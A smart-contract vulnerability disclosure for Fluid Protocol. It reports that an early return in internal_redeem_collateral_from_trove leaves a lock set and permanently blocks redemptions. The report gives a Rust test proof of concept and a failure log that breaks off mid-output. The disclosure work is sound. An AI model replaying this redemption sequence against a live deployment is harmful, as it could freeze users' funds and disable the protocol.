#37323 [SC-Critical] Permanent dead Lock in internal_redeem_collateral_from_trove

Submitted on Dec 2nd 2024 at 08:51:54 UTC by @Catchme for IOP | Fluid Protocol

  • Report ID: #37323

  • Report Type: Smart Contract

  • Report severity: Critical

  • Target: https://github.com/Hydrogen-Labs/fluid-protocol/tree/main/contracts/trove-manager-contract/src/main.sw

  • Impacts:

    • Permanent freezing of funds

    • Permanent freezing of unclaimed yield

    • Smart contract unable to operate due to lack of token funds

    • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Description

Brief/Intro

The lock in internal_redeem_collateral_from_trove is not released, causing a deadlock.

Vulnerability Details

in the function internal_redeem_collateral_from_trove When new_debt < MIN_NET_DEBT, the lock in internal_redeem_collateral_from_trove is not released, causing a deadlock.

// contracts/trove-manager-contract/src/main.sw
...

#[storage(read, write)]
fn internal_redeem_collateral_from_trove(
...
    // If the trove's debt is fully redeemed, close the trove
    if (new_debt == 0) {
        internal_remove_stake(borrower);
        internal_close_trove(borrower, Status::ClosedByRedemption);
        internal_redeem_close_trove(borrower, 0, new_coll);
    } else {
        // Calculate the new nominal collateralization ratio
        let new_nicr = fm_compute_nominal_cr(new_coll, new_debt);
        // If the new debt is below the minimum allowed, cancel the partial redemption
        
        ///////////////////////////////////////////////////////////
        ///////////////////////////////////////////////////////////
        ///////////////////////////////////////////////////////////
        if (new_debt < MIN_NET_DEBT) {
            single_redemption_values.cancelled_partial = true;  
            return single_redemption_values;                   
            // VULN : The `lock_internal_redeem_collateral_from_trove` is not released. 
            
        }
        ///////////////////////////////////////////////////////////
        ///////////////////////////////////////////////////////////
        ///////////////////////////////////////////////////////////
        
        // Re-insert the trove into the sorted list with its new NICR
...
}

Impact Details

This vulnerability can cause a deadlock in the contract permanently

References

https://github.com/Hydrogen-Labs/fluid-protocol/blob/main/contracts/trove-manager-contract/src/main.sw#L819

Proof of Concept

Proof of Concept

use fuels::{prelude::*, types::Identity};
use test_utils::data_structures::{ContractInstance, PRECISION};
use test_utils::interfaces::oracle::oracle_abi;
use test_utils::interfaces::protocol_manager::ProtocolManager;
use test_utils::interfaces::pyth_oracle::PYTH_TIMESTAMP;
use test_utils::utils::print_response;
use test_utils::{
    interfaces::{
        active_pool::active_pool_abi,
        borrow_operations::{borrow_operations_abi, BorrowOperations},
        coll_surplus_pool::coll_surplus_pool_abi,
        protocol_manager::protocol_manager_abi,
        pyth_oracle::{pyth_oracle_abi, pyth_price_feed},
        token::token_abi,
        trove_manager::{trove_manager_abi, trove_manager_utils, Status},
    },
    setup::common::setup_protocol,
    utils::with_min_borrow_fee,
};

#[tokio::test]
async fn test_dead_lock() {
    let (contracts, _admin, mut wallets) = setup_protocol(5, true, false).await;

    let healthy_wallet1 = wallets.pop().unwrap();

    let balance: u64 = 12_000 * PRECISION;

    token_abi::mint_to_id(
        &contracts.asset_contracts[0].asset,
        balance,
        Identity::Address(healthy_wallet1.address().into()),
    )
    .await;

    let borrow_operations_healthy_wallet1 = ContractInstance::new(
        BorrowOperations::new(
            contracts.borrow_operations.contract.contract_id().clone(),
            healthy_wallet1.clone(),
        ),
        contracts.borrow_operations.implementation_id.clone(),
    );

    let coll1 = 6000 * PRECISION;
    let debt1 = 2000 * PRECISION;

    oracle_abi::set_debug_timestamp(&contracts.asset_contracts[0].oracle, PYTH_TIMESTAMP).await;
    pyth_oracle_abi::update_price_feeds(
        &contracts.asset_contracts[0].mock_pyth_oracle,
        pyth_price_feed(1),
    )
    .await;

    borrow_operations_abi::open_trove(
        &borrow_operations_healthy_wallet1,
        &contracts.asset_contracts[0].oracle,
        &contracts.asset_contracts[0].mock_pyth_oracle,
        &contracts.asset_contracts[0].mock_redstone_oracle,
        &contracts.asset_contracts[0].asset,
        &contracts.usdf,
        &contracts.fpt_staking,
        &contracts.sorted_troves,
        &contracts.asset_contracts[0].trove_manager,
        &contracts.active_pool,
        coll1,
        debt1,
        Identity::Address(Address::zeroed()),
        Identity::Address(Address::zeroed()),
    )
    .await
    .unwrap();

    //------------------------------------------------
    // Here is the PoC
    // Firstly wallet1 opens a trove with 6000 collateral and 2000 debt
    // Then wallet1 tries to redeem 1600 collateral
    // During the redemption in contract `trove-manager-contract`'s funciton `internal_redeem_collateral_from_trove`
    // The new debt is 2000 - 1600 = 400 < MIN_NET_DEBT 
    //------------------------------------------------


    let redemption_amount: u64 = 1600 * PRECISION;

    let protocol_manager_health1 = ContractInstance::new(
        ProtocolManager::new(
            contracts.protocol_manager.contract.contract_id().clone(),
            healthy_wallet1.clone(),
        ),
        contracts.protocol_manager.implementation_id,
    );

    oracle_abi::set_debug_timestamp(&contracts.asset_contracts[1].oracle, PYTH_TIMESTAMP).await;
    pyth_oracle_abi::update_price_feeds(
        &contracts.asset_contracts[1].mock_pyth_oracle,
        pyth_price_feed(1),
    )
    .await;

    protocol_manager_abi::redeem_collateral(
        &protocol_manager_health1,
        redemption_amount,
        10,
        0,  
        None,
        None,
        &contracts.usdf,
        &contracts.fpt_staking,
        &contracts.coll_surplus_pool,
        &contracts.default_pool,
        &contracts.active_pool,
        &contracts.sorted_troves,
        &contracts.asset_contracts,
    )
    .await;

    dbg!("Redeem collateral finished");

    // This will cause dead lock, and the transaction will be reverted

    protocol_manager_abi::redeem_collateral(
        &protocol_manager_health1,
        20,
        10,
        0,
        None,
        None,
        &contracts.usdf,
        &contracts.fpt_staking,
        &contracts.coll_surplus_pool,
        &contracts.default_pool,
        &contracts.active_pool,
        &contracts.sorted_troves,
        &contracts.asset_contracts,
    )
    .await;

}

output log

test test_dead_lock ... FAILED

successes:

successes:

failures:

---- test_dead_lock stdout ----
Deploying core contracts...
Initializing core contracts...
[contracts/protocol-manager-contract/tests/success_redemptions.rs:116:5] "Redeem collateral finished" = "Redeem collateral finished"
thread 'test_dead_lock' panicked at /home/upon/Documents/work/fluid-protocol/test-utils/src/interfaces/protocol_manager.rs:214:14:
called `Result::unwrap()` on an `Err` value: Transaction(Reverted { reason: "AsciiString { data: \"TroveManager: Internal redeem collateral from trove is locked\" }", revert_id: 18446744073709486080, receipts: [Call { id: 0000000000000000000000000000000000000000000000000000000000000000,